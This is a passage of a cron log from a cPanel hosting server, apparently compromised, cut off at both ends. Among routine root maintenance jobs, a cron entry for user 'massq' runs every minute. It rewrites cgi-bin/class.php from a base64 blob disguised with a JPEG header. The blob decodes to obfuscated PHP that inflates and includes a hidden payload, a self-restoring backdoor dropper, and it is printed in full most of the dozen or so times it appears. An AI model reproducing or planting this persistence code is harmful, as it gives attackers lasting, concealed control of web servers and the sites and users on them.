OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:50:01 server CROND[11119]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:50:01 server CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:51:01 server CROND[11948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:51:01 server CROND[11949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:51:01 server CROND[11950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:52:01 server CROND[12324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:52:01 server CROND[12325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:52:01 server CROND[12326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:53:01 server CROND[12729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:53:01 server CROND[12730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:53:01 server CROND[12731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:54:01 server CROND[13195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:54:01 server CROND[13196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:54:01 server CROND[13197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:55:01 server CROND[13569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:55:01 server CROND[13575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:55:01 server CROND[13582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:55:01 server CROND[13580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:55:01 server CROND[13583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:55:01 server CROND[13584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:55:01 server CROND[13581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:56:01 server CROND[14411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:56:01 server CROND[14412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:56:01 server CROND[14413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:57:01 server CROND[14787]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:57:01 server CROND[14788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:57:01 server CROND[14790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:57:01 server CROND[14789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:58:01 server CROND[15164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:58:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:58:01 server CROND[15166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:59:01 server CROND[15784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:59:01 server CROND[15785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:59:01 server CROND[15786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:00:01 server CROND[16293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:00:01 server CROND[16295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:00:01 server CROND[16296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:00:01 server CROND[16304]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 04:00:01 server CROND[16319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:00:01 server CROND[16320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:00:01 server CROND[16321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:00:01 server CROND[16324]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 04:00:01 server CROND[16317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:00:01 server CROND[16322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:01:01 server CROND[17271]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 04:01:01 server CROND[17272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:01:01 server CROND[17273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:01:01 server CROND[17274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:01:01 server run-parts(/etc/cron.hourly)[17271]: starting 0anacron
Sep  9 04:01:01 server anacron[17294]: Anacron started on 2026-09-09
Sep  9 04:01:01 server anacron[17294]: Job `cron.daily' locked by another anacron - skipping
Sep  9 04:01:01 server run-parts(/etc/cron.hourly)[17297]: finished 0anacron
Sep  9 04:01:01 server anacron[17294]: Normal exit (0 jobs run)
Sep  9 04:02:01 server CROND[17740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:02:01 server CROND[17741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTG